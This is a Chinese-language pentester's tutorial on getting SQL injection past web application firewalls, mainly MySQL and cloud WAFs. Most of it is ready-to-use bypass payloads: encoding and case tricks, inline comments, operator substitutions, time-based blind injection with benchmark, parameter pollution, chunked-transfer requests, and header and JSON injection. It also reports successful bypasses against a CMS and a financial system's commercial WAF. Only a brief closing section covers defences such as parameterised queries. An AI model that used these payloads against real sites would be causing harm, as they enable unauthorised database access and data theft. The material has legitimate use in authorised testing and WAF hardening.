SQL注入绕过技术与WAF防御实战解析
1. SQL注入绕过的本质与防御逻辑
SQL注入绕过的核心在于理解WAF(Web应用防火墙)的检测机制与开发者的过滤逻辑。现代WAF通常采用多层检测策略,包括关键字黑名单、语法分析、行为模式识别等。以MySQL环境为例,当检测到union select、information_schema等敏感词时就会触发拦截。
我常把WAF比作机场安检——它依靠预设规则识别"危险物品",但总有方法通过拆解、伪装或特殊包装让"违禁品"通过检查。比如将select写成sEleCt利用大小写变异,或者用/*!50000select*/这种MySQL特有的内联注释语法。
重要提示:所有绕过技术都建立在目标存在SQL注入漏洞的前提下。如果开发人员正确使用预编译语句(PreparedStatement),这些绕过手法将全部失效。
2. 常规WAF绕过手法精析
2.1 编码与变形技术
- 十六进制编码:
select→0x73656c656374 - URL编码:
'→%27,"→%22 - Unicode编码:
'→%u0027 - 大小写混合:
UnIoN SeLeCt - 注释插入:
sel/**/ect、se%00lect
实测案例:在某个CMS的搜索功能中,原始注入' union select 1,2,3--被拦截,改用' uni%6fn sel%65ct 1,2,3%23成功绕过。
2.2 等价替换方案
当常见关键词被过滤时,可用以下替代方案:
and 1=1→&& 1=1(MySQL逻辑与)or 1=1→|| 1=1=→like、rlike、regexpsleep(5)→benchmark(10000000,md5('test'))
特殊场景下甚至可以用数学函数构造布尔条件:
' || ascii(substr(database(),1,1))>96 #3. 高级绕过技术实战
3.1 HTTP参数污染(HPP)
利用服务器对重复参数的处理差异:
?id=1&id=2' union select 1,2,3--某些WAF只检查第一个参数,而应用程序可能取最后一个参数值。
3.2 分块传输编码(Chunked)
通过修改HTTP头强制分块传输,可以绕过部分基于正则表达式的WAF检测:
POST /search.php HTTP/1.1 Transfer-Encoding: chunked 4 id=1 8 ' union 7 select 1 03.3 非常规注入点利用
- User-Agent/X-Forwarded-For头注入:
GET / HTTP/1.1 User-Agent: ' and 1=convert(int,@@version)--- JSON格式注入:
{"username":"admin'-- ","password":"any"}4. 云WAF专项绕过技巧
4.1 边界突破技术
云WAF如阿里云、Cloudflare等常采用前置流量分析,可通过以下方式突破:
- 超长参数:构造超过8KB的参数值使WAF跳过检测
- 畸形HTTP请求:故意制造非标准换行符(
\x0b)、错误的内容类型
4.2 时间延迟盲注优化
当直接布尔盲注被拦截时,可采用分段延迟:
' || if(ascii(substr(user(),1,1))>100, benchmark(10000000,md5('test')), 0) #5. 防御视角的深度思考
作为渗透测试人员,我总结出WAF绕过的三个黄金法则:
- 变形原则:通过编码、注释、空白符等改变特征
- 替代原则:使用功能等效但语法不同的表达式
- 环境适应原则:根据具体数据库类型(MySQL/MSSQL/Oracle)调整语法
而站在防御角度,建议开发者:
- 严格使用参数化查询
- 实施最小权限原则(数据库账户仅需SELECT权限时不要给UPDATE)
- 对输入实施白名单验证而非黑名单过滤
- 定期更新WAF规则库(如ModSecurity的OWASP CRS)
在一次金融系统渗透中,我通过组合/*!50000*/注释和分块传输编码,成功绕过了某商业WAF的防护。这再次证明:没有绝对的安全,只有持续攻防对抗中的动态平衡。